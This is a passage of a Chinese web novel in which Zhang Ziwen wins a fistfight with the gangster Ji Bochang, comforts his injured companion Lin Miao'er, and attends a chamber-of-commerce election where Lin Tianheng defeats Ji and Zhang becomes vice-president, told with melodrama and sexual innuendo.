季伯常弓着腰,呼吸变沉,脸上闪过惊愕之色。
他没想到当初险些被侯英暗杀的张子文,能在不到一年内,将体魄打造到如此强度。
三分钟激战,连季伯常都有点喘,张子文却很稳。
他很清楚,再过三分钟如果还没打垮张子文,倒的就是自己。
上百名部下围在四周,季伯常输不起。
嗖!
季伯常欺身上前,全力以赴。
张子文目光冷静,弓着腰,呼吸平稳,不如季伯常粗的胳膊线条流畅,将衬衣撑紧。
季伯常贴近,挥拳,被格挡,提膝撞击,被躲开,正要野蛮抱摔,张子文猛地下腰,绕到身后缠住季伯常咽喉。
季伯常脸色陡变,抬臂格挡,限制张子文将扣作死。
砰!
张子文脚下一踹,猛击季伯常腘窝,后者身躯一晃,险些单膝跪地。
可他硬生生扛住这一击,脚下发力,身躯猛地往后一倒。
砰!
近九十公斤的庞大身躯将张子文压住,二人双双倒地,可张子文双臂仍在做扣,甚至越来越紧,勒得季伯常满脸涨红,眼球布满血丝。
季伯常想翻身挣脱,双腿也被张子文缠住,动弹不得。
短短数秒,季伯常体力迅速消耗,呼吸受阻,他手臂发力,想强行挣脱,可越使劲,呼吸越困难,眼前也逐渐发黑。
啪啪!
季伯常用力拍打地面,举白旗认输。
张子文无动于衷,又猛地发力勒了数秒,这才松开青筋暴露的季伯常。
“**要勒死我?”季伯常满脸涨红,捂着红肿的脖子干呕了几下。
张子文站起身,冷冷扫视季伯常,一言不发。
季伯常扫了眼仿佛变了个人的张子文,眉头紧锁,满脸阴沉:“走着瞧!”
单挑输给张子文,季伯常也没脸继续吃宵夜,率众离去。
林妙儿快步上前,满眼心疼,递给主人纸巾擦血。
刚才单挑,主人遭受季伯常几次重击,脸上也有淤伤,可那漆黑的眸子,却冷漠得让林妙儿害怕。
“她做的事
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,她自己承担。”张子文接过纸巾,却只攥在手里,神情冷静。“你犯的错,你已经还了。”
林妙儿犹如犯错的小女孩,俏脸苍白的咬着红唇,不敢吱声。
“这次剁手,下次呢?”张子文俯瞰林妙儿,眼神苛责,透着冷酷。
“主人,我知道错了。”林妙儿既害怕主人动怒,内心又暖,鼓起勇气用撒娇的口吻哀求主人。“妙儿下次不敢了,主人别生气…”
张子文瞪了林妙儿一眼,皱眉道:“疼不疼?”
林妙儿美眸瞬间模糊,摇头道:“不疼…”
“上车,去医院。”张子文近乎冷酷下达命令,林妙儿不敢违抗,乖乖上了车。
张子文跟烧烤摊老板结了账,又跟沈柳二人道了谢,寒暄两句这才告别。
林妙儿前半生养尊处优,后半生也在自己庇佑下肆无忌惮,这女人哪里受过这种委屈和伤害。
穿越回来脑袋要被打坏了,说出去都丢人。
目送张子文离开的二女对视一眼,沈夏愁眉苦脸:“季伯常肯定会报复他!”
柳红绫红唇泛着媚笑,托着雪白下巴,美眸微眯:“我不怕季伯常。”
“我沈夏会怕一个捞偏门的?”沈夏挑眉。“这老瘪三在我眼里,就是个一等功!”
柳红绫眼波流转,似笑非笑道:“不知道他在床上打架,会不会也这么猛,他要像勒季伯常那样从后面勒我脖子,我可受不了…”
沈夏樱桃小嘴张开,怒视柳红绫:“你可真是个**!”
扫黄多年,沈科什么行话没听过,这姓柳的张嘴就是超负荷窒息流,沈科脑袋里连画面都有了,真的涩…
第167章 嫌我烦了?
车内寂静无声。
张子文目不斜视开车,林妙儿也只敢偷瞄,不敢吱声。
她知道主人生气了,既紧张,还有点开心。
主人生气,是紧张自己受伤,是怕自己剁手:“主人,其实就算少一两根手指,也不会耽误我洗衣做饭…”
张子文皱眉,静默无声。
“主人你刚才打架的样子好帅…”林妙儿探头,想缓解气氛。
张子文仍不理她。
“沈夏和柳红绫肯定嫉妒坏了…”林妙儿喜上眉梢,这话不是哄主人,是真开心。
上一世,她一直扮演着边角料,从没像这一世这么风光,遭人嫉妒。
“主人,我又不傻,怎么可能真剁自己的手…”林妙儿语气撒娇,眼巴巴讨好。
张子文瞥了眼林妙儿,抬手抽出几张纸巾,递给她:“流血了。”
神经紧绷的林妙儿连忙擦掉顺着额头淌下的鲜血,却没在意伤口是否严重,只是小心翼翼望向主人,语气恳求:“主人,你别生气啦,妙儿以后肯定听话…”
张子文没继续冷落不停道歉求饶的林妙儿,语气平静道:“今晚我陪林妙微去了你之前带我去的美食街。”
林妙儿怔了怔,不明白主人怎么突然提这个。
不过主人肯开口讲话,那就是原谅自己了,主动配合道:“那怪胎肯定嫌弃这嫌弃那的吧?”
“她吃了很多,还喝了半杯奶茶。”张子文不轻不重瞥了林妙儿一眼。
“她居然会喜欢吃路边摊?”林妙儿挑眉,语气不屑。“肯定是装的。”
“我帮她选的食物。”张子文抿唇道。“我选的每一样,她都吃了,也爱吃。”
林妙儿本就白皙的俏脸因失血过多而愈发苍白,唇角嗫嚅,不知如何开口。
嘎吱。
张子文将车停在路边,不远处,是林天衡斥巨资打造的顶配私立医院。
张子文侧目,盯着脸色复杂的林妙儿:“我知道她爱吃什么,哪怕连她自己都不知道爱吃,我也知道。”
林妙儿垂眸,卷长睫毛轻轻颤抖。
“我把她从庄园接出来,车后跟着长长的车队,像总统巡游。逛美食街的时候,三步一岗,五步一哨,别说可能对她造成威胁的青壮年,就连老太太从身边经过,也会被林天衡养的死士盯上。”
张子文目光平静,清秀脸庞上闪过不悦:“林妙微打了季伯常,所有人都担心她会遭遇报复,哪怕可能性很小,哪怕你告诉过林天衡,上一世的林妙微没有卷进来。但林天衡还是做足准备,害怕她的宝贝女儿受到哪怕一丁点的伤害。”
张子文眼神微颤,盯着林妙儿:“可你今晚,却自投罗网跑到季伯常面前,又是爆头,又是要剁自己手指,凭什么?”
林妙儿强颜欢笑道:“主人,您知道的呀,我上一世完全没参与后续事件,季伯常也没有对我动手,我肯定是安全的…”
“你今晚不就主动参与了?”张子文冷冷道。
林妙儿愣住了。
“你不是林妙微?”张子文又道。
林妙儿唇角嗫嚅。
“你还活在上一世?”张子文语气不善。
林妙儿被主人的连环夺命逼问挤兑的哑口无言,但她身兼数十名**的绝学,小嘴一扁,直接服软道歉:“主人,千错万错,都是妙儿的错…”
某个**曾分享过心得,不要和主人讲道理,甭管有没有道理,都别讲,撒娇扮可怜装柔弱,没有哪个男人受得了,包括主人。
张子文皱眉,不悦的脸色明显好转:“这一世改变了多少,你比我更清楚。”
“嗯嗯。”林妙儿乖巧点头。“主人说的对,以后主人怎么说,我就怎么做,绝对不惹主人生气。”
张子文张了张嘴,深吸一口气:“嫌我烦了?”
“怎么会呢…”林妙儿歪头,满眼欢喜。“我恨不得二十四小时听主人讲话,主人讲什么我都爱听。”
张子文怒视林妙儿,堵住了从细缝里溢出的怨气,脸色逐渐温和道:“她是她,你是你,她有前赴后继的死士保护,有大庄园住,你只能跟我住小房子,被人打,被人骂,也只有我,我
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没林天衡有本事,我不是每次都能保护你。”
聆听着张子文的语重心长,林妙儿原本苍白的俏脸突破失血过多的生理极限,泛起一抹红潮,水汪汪的美眸凝视张子文,颤声道:“我不要前赴后继的死士,我也不要住大庄园,我有主人就够了…”
“你再这么冒险,我连小房子都不给你住!”张子文沉声道。
林妙儿故作惊慌,楚楚可怜道:“主人不要抛弃妙儿…”
咔嚓。
张子文拉开车门,送林妙儿进医院。
当头破血流的林家大小姐出现在医院,整栋医院兵荒马乱,如临大敌。
最好的内外科医生紧急处理伤口,连国际顶尖的心脑科医生也提供了治疗方案,怕头上那点伤影响大脑和心脏的正常运作。
打消炎针的时候,平均每分钟就有一名副院长级领导过来探访,不厌其烦询问口干不干,头晕不晕,胸闷不闷,需不需要进ICU深度观察。
在张子文面前做小伏低惯了的林妙儿一时间难以接受如此高规格待遇,瞧着医院的领导围着自己团团转,她甚至有点别扭,怕被冷落的主人对自己有意见。
好不容易板着脸赶走那群嗡嗡叫的苍蝇,半躺在病床上输液的林妙儿局促道:“主人,要不打完针咱们就回家?在这住的不踏实。”
张子文俯身帮她捋了捋被褥,目光轻柔,默不作声。
林妙儿被众人团团包围的反应,张子文熟。
他这半生,一直躲在角落,置身黑暗,不敢出头,怕被人看见。
哪怕只是在公开场合被**声喊一下名字,都会手足无措,明明没有做错任何事,也会心虚。
这种不配得感,跟随张子文半生,也许也跟随了林妙儿后半生。
林妙微的未来,一定不像林妙儿说的那么美好而明媚。
她也许和张子文一样,黑暗常伴,孤寡半生。
“嗯,听你的。”张子文轻轻握住林妙儿冰凉的手心,寄予他和她都曾渴望过的温暖,唇角泛起一抹柔软。“打完针就回家。”
第168章 蔡姨电脑坏了!
客厅门边的镜子前,身穿性感露大腿睡裙的林妙儿踮脚帮张子文整理熨帖修身的西装,系领带,抚平细纹,做所有上一世想做,但没资格做的贴心事。
“我家主人今天肯定是商总会最帅气的男人。”
林妙儿**两步,很有成就感的端详西装笔挺,皮肤白皙清秀,浑身还散发出成熟魅力的张子文。
她今早六点就起床熨衣服,帮主人擦皮鞋,在主人并不多的几条领带里挑选和西装最搭的那一条。
上一世,这些事是柳红绫在做。
“顶多不算难看。”张子文唇角微翘,没扫林妙儿兴致。
却也是近一年来,头一次正经审视镜子里变化挺大的自己。
送主人出门后,请假一天的林妙儿窝在客厅,拿出手机连线。
张子文西装领内有隐藏摄像头,是林妙儿安装的,不为别的,只为帮主人迅速科普商总会内遇到的所有人,展露穿越者实力。
“主人,站在车边像个傻子等您的猛男叫郑强,您未来**的幕后控制者,他妹妹郑三妹,是您未来第二信任的近身女侍,第一信任的正是区区在下。”
耳麦中,响起林妙儿字正腔圆的播音腔。
张子文抿唇道:“收到。”
郑强迅速拉开后车门,满脸憨憨的酷,像在拍电影。
“强哥,你未来想干点什么?”
一直坐副驾的张子文在强哥多次要求后,坐到了后面。
“给张总当一辈子司机!”强哥不假思索,满脸忠诚。
“说点你自己信的。”张子文莞尔。
强哥板着脸,脱口而出:“成为江城地下世界的王!”
张子文瞥了眼语出惊人的强哥:“你还是给我当一辈子司机吧。”
强哥挑眉,满脸不甘:“张总,莫欺少年穷!迟早有一天,我要掌控江城地下金融系统,张总你知道的,这是我深耕十多年的老本行,我对数字也有极强的嗅觉和敏感度。”
张子文瞥了眼初一肄业,平时没事就捧着金融书籍狂啃的强哥,提醒道:“放**违法的。”
“张总,格局狭隘了。”强哥正色道。“民间借贷自古有之,更是全球金融体系最重要的补充,便捷、高效、还能促进街坊邻里的感情,充满人情味。”
张子文没多说,强哥不仅爱啃金融书籍,古典文化这块,强哥也研究颇深,没事就背唐诗三百首,多喝几杯还会即兴作诗。
见张子文也不反驳,强哥得寸进尺:“张总,你要有闲钱,我帮你拿出去滚一滚?”
张子文笑骂:“滚。”
强哥嘿嘿一笑,安心开车。
来到商总会,强哥被两列气焰彪悍的豪华车队堵住去路,却连喇叭都不敢按,咬牙切齿的排队。
一列是强哥偶像季伯常的车队,另一列没见过,但阵仗更大,含金量更高。
咔嚓。
咔嚓。
两列车队的头车推开车门,体格魁梧的季伯常走下车,左手白色手套极为刺目。
另一辆头车里,江城大亨林天衡缓缓下车,面容威严,气势惊人。
反目成仇的二人同时下车,隔空对望,霎时间剑拔**张,空气中弥漫肃杀。
季伯常踱步上前,主动攀谈:“林老板,
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别来无恙?”
林天衡负手而立,淡漠扫视季伯常:“哪条路边野狗在吠?”
季伯常表情狰狞,缄默无言。
陆续赶来的与会者纷纷侧目,却躲得远远的,怕殃及池鱼。
一个是执掌商总会的江城顶级大亨,一个是背后人多势众的季伯常,今日一战,火星撞地球。
“季伯常,总商会副会长,反骨仔一个,没多久可活了,林天衡,总商会会长,常常在家里受了气,把火撒在外面。”
耳麦中响起林妙儿的播音腔。
张子文没继续排队,而是推门下车,步行前往总商会。
“接下来登场的,是膝下群芳斗艳,麾下强者如云的传奇大亨张子文。此**指间,山河破碎,血流成河,生平酷爱洗脚,常伴左右的绝世美女林妙儿,更是手法精湛,极擅推油、头疗、柔式换装…”
张子文笑容矜持,走向裹着旗袍,踩着高跟的柳红绫。
耳畔再度响起林妙儿言简意赅的冷酷介绍:“柳红绫,**。”
跟柳姐简单寒暄后,张子文刚一转身,耳畔又响起林妙儿不留情面的介绍:“被众星拱月朝主人走来的女人叫蔡敏,教育界高官,人称蔡姨,表面端庄,实则道貌岸然,阅片无数,据召凤楼那群**的可靠情报,主人是在给她修电脑的过程中,被她色诱拿下,因此她与喊她蔡姨的沈夏交恶,二十多年的闺蜜情彻底破碎。”
“小张,中午有空吗?”
在几名工作人员的陪同下,蔡姨笑容矜贵端庄,极具成**官员魅惑:“我电脑坏了,中午来我办公室看看?”
第169章 十年隐忍,一朝爆发!
张子文如往常那般没听信林妙儿言辞凿凿的危言耸听,笑容矜持道:“蔡校长,电脑具体出现了什么故障?”
蔡姨笑容优雅:“就是一直有莫名其妙的页面跳出来,怎么删也删不干净。”
站在一旁的柳红绫噗嗤一笑,眼神暧昧。
“很好笑?”蔡姨斜睨柳红绫,神情淡漠。
“好笑。”混不吝的柳红绫可不惯着这位总商会特邀来的官方代表,美眸回视。“怎么,江大的学生想笑一笑,还得提前找蔡校长打报告?”
蔡姨眯眼打量柳红绫,脸色泛冷,却没与之争论。
到底是江城教育系统的领军人物,哪会跟臭名昭著的柳家女人撒泼骂街。
“蔡校长,可能就是电脑中病毒了,问题不大。”张子文解释道。
“嗯。”蔡姨淡淡点头道。“散会了我在车里等你。”
目送蔡姨被众星拱月送走,柳红绫冷笑一声:“看个片都看不明白,还在这摆校长架子!”
张子文礼貌分析道:“也许是被流氓广告软件袭击了。”
柳红绫还想奚落两句,但考虑到张子文讨厌背后诋毁,索性作罢。
总商会换届会议即将召开,柳红绫简单叮嘱了些会议流程和内容,就找她的商圈伙伴密谋去了,并非林妙儿恶毒评价的只惦记男女那点事,事业心很强。
张子文出示通行证,进入会场。
恢宏气派的会场内,椭圆会议桌上摆满名片,密密麻麻坐了数十名各领域商界翘楚,张子文来的不算早,但也没掉尾灯,在某个犄角旮旯找到自己的座位,安静等待开会。
“主人,看到椭圆桌尖尖部位那张最耀眼的宝座了吗?”耳麦中响起犹如**般的魅惑嗓音。“三年后,就是你的专属座椅!”
张子文语气淡漠:“还要三年?”
“呃…”林妙儿知道主人在打趣,也十分配合。“那是上一世的剧本,以目前局势来看,最多一年,主人要等不及,我这就给林天衡打个电话,让他今天就禅让给主人!”
“打吧。”张子文眼底闪过戏谑。
林妙儿真打了,但没打通。
张子文却从会场入口瞧见盛气凌人的林天衡,眉宇间闪烁霸道气息,魁梧的体魄极具侵略性,那张看似儒雅的英俊脸庞,也在浓度极高的权势下,熏陶出摧枯拉朽之势。
哪怕总商会几名副会长入席,也仅仅只有关系密切的商会成员起身相迎,奉承阿谀。
唯独林天衡入场,全体总商会成员起立,给予这位掌控总商会十年的林会长极大尊重。
至少在倒台之前,林天衡在江城商界仍独占鳌头,权势无双。
林天衡摆手示意,径直走向他的专属宝座,与张子文在庄园内见到的林天衡大相庭径,气质如同两个人格。
入座前,林天衡威严霸道的眼眸环顾四周,视线在张子文身上多停顿了一下,沉稳坐下。
季伯常卡在会议召开前三分钟,搀扶着一位白发苍苍,却同样令全体总商会成员起立的中山装老者缓缓进入会场。
就连林天衡,也面色沉凝站起身。
“宋唐生,上一届总商会长。”
耳麦中响起林妙儿冷静的嗓音,不似之前那般顽劣打
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趣:“林天衡十年前就是接他的班,在江城德高望重,人脉极广,没想到…季伯常居然能请他出山。”
上一世,林天衡就是棋差这一招?
张子文安静聆听,也注意到林天衡神情上的微妙变化。
“林会长,不介意给我这把老骨头添把椅子吧?”宋唐生含笑望向踱步迎来的林天衡。
“宋老言重了,您是总商会荣誉会长。”林天衡微微垂头,迁就年纪大了身高缩水的宋唐生。“有您在,总商会就有了主心骨。”
唐宋生笑呵呵道:“你们开会,我就凑个热闹,旁听一会。”
工作人员送来椅子,却被季伯常安排在显眼到近乎喧宾夺主的位置,宋唐生非但没推辞,反而慢悠悠坐下来喝茶。
林天衡面色平静回到座位,主持会议。
按惯例,先公布了一些喜人数据,并着重点名了几家老牌劲旅和年轻企业,巨峰就在其中。
台下掌声雷动,亦暗潮涌动。
几个常规流程走完,林天衡扶了扶话筒,环顾四周:“会议接下来,就是换届选举了。老规矩,现场投票,现场唱票,计票团队由官方代表和商会代表组成,互相监督,确保绝对公平。”
快听睡着的宋唐生闻言,缓缓睁开狭长的眸子,脸上泛起运筹帷幄的冷笑。
推开工作人员递来的计票器,宋唐生握住话筒,从十年前下台后就再也挺不直的腰板,挺得笔直:“现在的计票器太先进了,我使不好,但我这一票,投给季伯常,就像当年我老了让位给林会长那样。”
十年隐忍,一朝爆发。
第170章 我连花圈都不给!
宋唐生满脸怨气盯着十年前亲手赶他下台的林天衡,眼底含怒。
林天衡也不发作,只是安**在他坐了十年的会长宝座,深邃的眼眸古井无波。
前任会长倒戈,对这场换届选举影响深远,季伯常目光森冷,明目张胆向总商会盟友使眼色、拉选票。
季伯常背后有诸多暗势力撑腰,如今又有在江城政商两界极有人脉的宋唐生当众支持,脸上写满势在必行。
镜头里,林天衡眉眼微沉,虽端坐会长宝座,会场内却暗藏杀机,无数股暗势力欲将这位商界大亨赶下台。
林妙儿心头酸楚,从未想过这个在家里阿谀讨好,满嘴跑火车,频频向自己许诺只要他在,江城就是自己后花园的男人会面临如此危机。
上一世林天衡直至撒手人寰,还在逞强为林妙儿准备了享不尽的荣华富贵。
他永远把最好的展现在林妙儿面前,为她遮风挡雨。
“主人,那些要赶他下台的人里面,有一半都是林妙微得罪的…”
耳麦中响起林妙儿酸涩低哑的嗓音:“是林妙微害了他。”
张子文望向孤独坐在首席的林天衡,他依旧威严霸道,目光深邃,纵使天塌了,他也能一肩挑之。
叮咚。
手机进来一条微信,是柳红绫:“子文,柳姐也没想到季伯常居然请得动宋唐生,看这局势,林天衡危矣…”
张子文看了眼座位靠前的柳姐,手里握着投票器,笑容矜持。
“别笑,这一票可是决定你以后在总商会敌人多还是朋友多,想好了吗?是良禽择木而栖,还是陪你未来岳父一起沉船?”柳红绫酸言酸语提醒张子文。
张子文低头投票,对投票器的外观设计和粗糙系统颇有微词,如果交给巨峰来做,会漂亮很多。
“投了谁?林天衡?”柳红绫疑问。
投林天衡,完全符合张子文在柳姐心中的人物画像。
当然,如果投的是季伯常,也符合柳姐对男人的审美。
柳红绫看上张子文,从来不是因为他大度善良,只是恰好他身上有这些微不足道的优良品质。
“柳姐,我忘了。”张子文回答。
正如柳姐所言,这次站队至关重要,也关乎未来在总商会的处境。
张子文不想影响任何人的判断,也没这个资格。
“把柳姐当外人?”柳红绫隔空瞪他,却也知道这男人向来如此,拿起投票器,坚定投给林天衡。
“柳姐在江城出了名混不吝,就爱跟人唱反调。”柳红绫又发来一条大逆不道的微信。“徐凤芝性格随我。”
张子文面色温和,感受到柳姐的野蛮与热烈。
“小张,你投了谁?”是蔡姨发来的。
张子文看了眼座位靠近林天衡,气质端庄优雅的蔡校长,作为官方代表,她有一票。
只是她不像柳红绫暗送秋波,甚至没朝张子文这边看,满脸官腔。
“蔡姨不混总商会,也不热衷于挣钱,投谁都没关系。”蔡姨又发来一条微信。“但蔡姨爱玩电脑,你得帮我修。”
张子文面露无奈,只能承诺中午就去江大修电脑。
约摸二十分钟后,近百名商会成员投票结束。
宋唐生浑浊的眼眸中,闪烁期待之色。
十年前承受的所有耻辱,他今天要加倍奉还。
季伯常也目光殷切的望向唱票台,屏幕上,列罗出四位候选人,看起来公平公开,并非林天衡与季
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伯常抵死之争,大大降低**味。
可随着唱票持续进行,那两位加起来凑不足十票的候选人却火气很大。
“季伯常,三十五票!”
为以示公正,公布最后票选的是中立官方代表:“林天衡,五十九票!”
“新一届总商会长,将由林天衡先生连任!”
会场内先是鸦雀无声,随后,响起潮水般的掌声。
五十九票打三十五票,扣除那六张小丑选举票,林天衡以摧枯拉朽之势,碾压了背后有诸多暗势力撑腰,并搬出前任会长站台拉票的季伯常。
季伯常瘫坐在离林天衡只有四个序号的副会长椅子上,眼神浑浊溃散。
宋唐生苍老褶皱的脸庞上,写满不可置信。
他想过会赢,也想过可能会输。
但没想过,在确定季伯常背后有诸多势力发力,在豁出这把老骨头公开站台支持季伯常的前提下,会输得一败涂地!
他知道,这几个月密谋拉拢的选票,至少有半数暗中倒戈了!
宋唐生浑身发颤,满脸不甘的怒视仍端坐会长宝座上,浑身弥漫滔天威压的林天衡。
林天衡侧目,终于肯给这位荣誉会长一个正眼。
“宋唐生,你老糊涂了?”
林天衡缓缓站起身,嗓音霸道,不可一世:“一条路边野狗告诉你这里有骨头,你就腆着脸过来抢?”
年近八旬的宋唐生脸色煞白,浑浊的双目充满狂怒。
“你知不知道,这条狗这二十年啃的骨头全是我赏的?我不高兴,连他都没骨头啃,你跑来凑热闹?”
林天衡言辞恶毒,霸气无双:“给你脸,喊你一声宋老,不给你脸,等你入土了,我连花圈都不给!”
第171章 我在车里等你!
林天衡极尽羞辱,浑身弥漫着不拘小节的张狂。
他目光如炬,俯瞰瘫坐在椅子上,脸色晦暗的宋唐生。
会场内所有商会成员,竟无一人敢替这位前任会长打圆场,包括同样泄了气的季伯常。
所有人都知道,林天衡在报复敌人时,有多么残忍暴戾。
否则,他培养不出那个不通人性的怪胎。
张子文对这个选票结果并不意外,但很吃惊。
林天衡说过,他不会输。
但没想到会是一场碾压式胜利。
在这位江城大亨面前,手握重磅资源,背靠暗势力支撑的季伯常,毫无还手余地。
真像一条路边野狗,被林天衡一脚踢翻。
身为官方代表,蔡姨不介意至少也该冠冕堂皇的会议格调变得狰狞粗鄙。
有钱人未必斯文,穷人,也未必善良。
林天衡在江城的口碑向来恶劣,对待敌人,也没人敢劝他大度。
宋唐生甚至没象征性嘴硬两句,就被工作人员搀走了。
十年前就被林天衡连人带椅子抬走的宋唐生知道,他敢嘴硬,林天衡就敢打烂他的嘴。
宋唐生走后,季伯常瞬间成为焦点。
林天衡绕过会长宝座,踱步走向季伯常。
“我说过,可以反我,但别惹她。”
林天衡单手撑在桌上,侧目,深邃眼眸中闪过戾气。
高压之下,季伯常嘴角抽搐,不敢回眸。
“你不知道惹她的后果?”
砰!
林天衡抄起桌上的烟灰缸,砸在季伯常脑袋上。
登时头破血流,染红季伯常洁白的衬衣领。
可这位草根枭雄愣是连脑袋前倾的小动作都没有,硬生生吃下这一击。
总商会各方成员瞧见这一幕,均是心惊肉跳,面面相觑。
替那晚爆头的林妙儿报了仇,林天衡丢下烟灰缸,仿佛什么也没发生,重回会长宝座,递出一份副会长以及商委会理事的名单仅供参考。
但新任会长提名,大家当然给面子。
名单和上一届大同小异,商委会理事增设两名,副会长名额不变,但季伯常不在名单上,被一个名不见经传的名字替代:张子文。
在确保林天衡仅供参考的名单悉数通过之外,投票过程还发生了一个小插曲。
张子文得到的选票,是所有副会长得票最高的,不知道是不是场下没沟通好,或是控票失控,他的票竟遥遥领先第二名副会长。
总商会同僚盛情难却到张子文想委婉拒绝,都显得有些不识抬举。
挨了毒打的季伯常缓缓起身,竟很有前任副会长气度的凝视张子文,面色狰狞,语气阴毒:“张子文,恭喜你。”
说罢,大步离开会场。
左邻右里在季伯常的提醒下,才知道原来得票最高的新任副会长,竟就坐在身边。
连忙恭贺道喜,语气热络。
“恭喜主人提前四个月达成副会长成就。”
耳麦中响起林妙儿礼节性的祝福,听语气并不真诚。
这点小成就跟主人上一世的伟业相比,不值一哂。
身为穿越者,林妙儿这点城府还是有的,不可能像镜头里没见过世面的柳红绫第一时间发微信祝贺,毫无定力:“张会长,以后多多关照。”
张子文无奈回复:“副的。”
“怎么,这么快就惦记上你未来岳父的宝座了?”柳红绫眼神玩味,隔空瞪他。
张子文正要回复,蔡校长发来微信:
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“张会长,我在车里等你。”
抬眸时,蔡校长已经在几名工作人员的陪同下离开会场,头也不回,全程没有眼神交流。
林天衡也没专程过来祝贺张子文,手段太低级。
但明眼人都知道,这位年轻副会长以后将取代季伯常,成为林天衡最照顾的晚辈。
也许,这个名不见经传的年轻人,将会在林天衡的大力栽培下,成为江城第二个季伯常?
就是跟季伯常风格迥异,脸庞清秀,眼神清澈,看不出半点狠劲与城府。
张子文回了蔡校长微信,正要起身离开会场,徐凤芝踱步走来,跟柳姐五官神似的端庄脸庞上,瞧不出丝毫尴尬,语气从容镇定:“张会长,我觉得你和柳红绫挺般配的,今晚来家里吃顿便饭,我亲自下厨,给张会长做几个下酒菜?”
张子文正要开口,耳麦中响起林妙儿谨慎而冷酷的嗓音:“主人,这女人叫徐凤芝,江城老牌豪门柳氏的掌舵人,也是柳红绫的母亲,你千万别信她的鬼话,她请你吃饭,其实是想趁机灌醉你…”
张子文脸色陡变。
据经验,当林妙儿语气不善介绍某位女子时,通常都会在未来某个时间节点,和自己发生少儿不宜的勾当。
之前那些案例,张子文可以当做没听见。
但这一次,当林妙儿掷地有声介绍徐姨时,素来冷静的张子文有点沉不住气。
喊蔡姨,只是对其权势的敬畏尊称。
可徐姨,那是从伦理层面上的称呼。
“然后呢?”
张子文皱眉,面露不耐之色,口吻既有居高临下的威严,又有身为主人对**的无情呵斥。
徐凤芝身躯一颤,冷冷扫视张子文,双目喷火。
第172章 他很紧张我的!
徐凤芝脸色铁青,目光锐利的盯着张子文:“张子文,你什么意思?”
什么叫然后呢?
瞧那一脸趾高气昂,不可一世的嘴脸,这还就是挂个副会长头衔,还没积攒到资源人脉呢,就狂成这样?这将来要在林天衡栽培下起势了,不得拿鼻孔看人?
徐凤芝气的手脚发凉。
要不是为了女儿幸福,莫说张子文,林天衡也不值得她放低姿态。
“没和你说话。”
张子文很没素质背过身,扶了扶藏在领口内的麦克风,语气不善,心神不宁:“到底怎么回事?说话。”
说罢还往远处走了几步,怕漏音,被‘当事人’之一的徐凤芝听见。
盯着渐行渐远的张子文,徐凤芝脸都气绿了。
这小子上次不是挺注重礼节,斯文得体,一口一个徐姨吗?
这才过几个月,就目中无人到这地步了?
徐凤芝娇躯乱颤,险些咬破嘴唇,脸上的怨恨与悲愤,像极了被始乱终弃的怨妇。
“噗嗤!”
耳麦中刻意停顿的林妙儿嗤笑出声,一副大仇得报的舒爽:“主人,她灌醉你后,把你留在柳家过夜了…”
“我和她…过夜?”张子文又紧急往前走了几步,脸色煞白。
“主人胡说什么呢?”林妙儿似笑非笑,幽怨道。“徐凤芝可是柳红绫母亲!您未来的丈母娘!”
张子文倒吸口凉气,只觉汗流浃背。
林妙儿随便编排未来信息都行,不论是否发生,他既不关心,也没多大心理负担。
可这种有违伦理的勾当,张子文害怕极了。
“不过那夜之后,柳红绫就对外宣称和主人睡过了,还夸您很大,很厉害…”林妙儿咬牙切齿。
张子文擦了擦冷汗,冷静下来。
这些离离经叛道的话,柳姐真敢说,也符合她性格。
只要不是和徐姨…
张子文什么都能接受。
“主人,您好像得罪徐凤芝了…”
林妙儿提醒被吓得魂不附体的张子文,笑容恶劣道:“不打算去哄哄未来丈母娘?”
张子文如梦初醒,蓦然回头,徐凤芝哪里还有踪影,早被气跑了。
“你故意的?”张子文皱眉,反应过来。
“就许她恶心主人,不许主人冷落她?”林妙儿同仇敌忾道。
当初主人刻意与柳姐保持距离,肯定是徐凤芝背后搞鬼了,上一世就发生过类似事件。
以主人性格,就算曾经受了委屈,此刻也会谦逊礼貌与长辈相处,说不出太难听的话。
林妙儿可不惯着她,略施手段,就吓得主人无心应酬徐凤芝,只关心那晚到底是和谁过夜苟且…
张子文轻抿嘴唇,知道林妙儿是为自己鸣不平:“她也是为柳姐着想。”
“我不管。”林妙儿态度坚决。“谁欺负主人,我就恶心谁!”
张子文笑容温和,口吻却很冷静:“就算你不捣乱,我也会拒绝她。”
林妙儿心肝微颤,莫名害怕。
主人当然不是只有斯文善良的一面,但林妙儿这一世,再也不想见到主人的另一面,那会勾起无数痛苦而绝望的回忆。
“主人,晚上早点回家,给你蒸了大闸蟹下酒!”
林妙儿主动切断连接器,一阵心悸。
主人这一世,剧本改变了许多,但核心事件仅仅出现了时间线延后或提前,该发生的,一件没少。
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执掌巨峰,结交上一世掌控南方数省**的郑强,并收编真正信任的头号近身女侍郑三妹。成功擢升副会长,在江城破圈成功,成为年轻一代的佼佼者。
那些骚狐狸,也一个不漏,全部搔首弄姿朝主人贴近。
林妙儿心神不宁,上一世的事件出现越多,她越不安,怕自己再走上一世的路,怕命运强迫她和主人渐行渐远,怕那场意外再度发生,夺走她一条腿,没脸也不敢再和那群骚狐狸争风吃醋,沦为笑柄…
林妙儿蜷缩在沙发上,拖拽着与主人的微信聊天,歪着头,看着那些生动有趣的对话,聆听着主人发来的一段段语音,内心的忐忑与无措渐渐驱散,不再患得患失。
“主人当然不会那么冷酷无情,他很紧张我的…”
……
张子文刚出会场,一辆轿车按响喇叭,后排车窗缓缓降下,露出蔡姨端庄优雅的脸庞。
张子文颔首示意,踱步上前。
司机下车,拉开后排车门,没给张子文坐副驾的机会。
上了车,蔡姨微笑道:“辛苦张会长了。”
张子文礼貌摇头:“小事。”
蔡姨生了一张比实际年龄小的脸蛋,五官精致娇俏,皮肤白皙,可穿着打扮却又比实际年龄更大,成熟端庄,极具高官威严。
两种鲜明气质对冲,别具一格。
轿车刚驶向主干道,蔡姨手机响起,来电显示是沈夏。
“蔡姨,中午有空吗?约个饭,想请教你几个如何在官场运筹帷幄的问题。”
车厢静谧,并肩坐的张子文能清晰听见沈夏的声音。
“没空,在开会,有事晚上说。”蔡姨面无波澜拒绝沈夏,气定神闲。
第173章 你真像块木头!
蔡姨挂断电话,也没刻意解释什么,反而侧目瞥了眼张子文:“听沈夏说,你很讨厌说谎的人?”
这是一个刁钻到需要极高情商才能回答的问题。
也是蔡姨故意为之。
她想看看这个骨子里藏着怨气的年轻人,会如何拆招。
“我讨厌和我说谎的人。”张子文直抒己见。
蔡姨美眸微凝,注视眼前这张清秀的脸庞:“也就是说,你在意的只是自身利益或情感不受侵犯,而不介意说谎这种不良品性?”
张子文眼神坦诚,回望蔡姨:“差不多。”
张子文的答案,蔡姨还算满意。
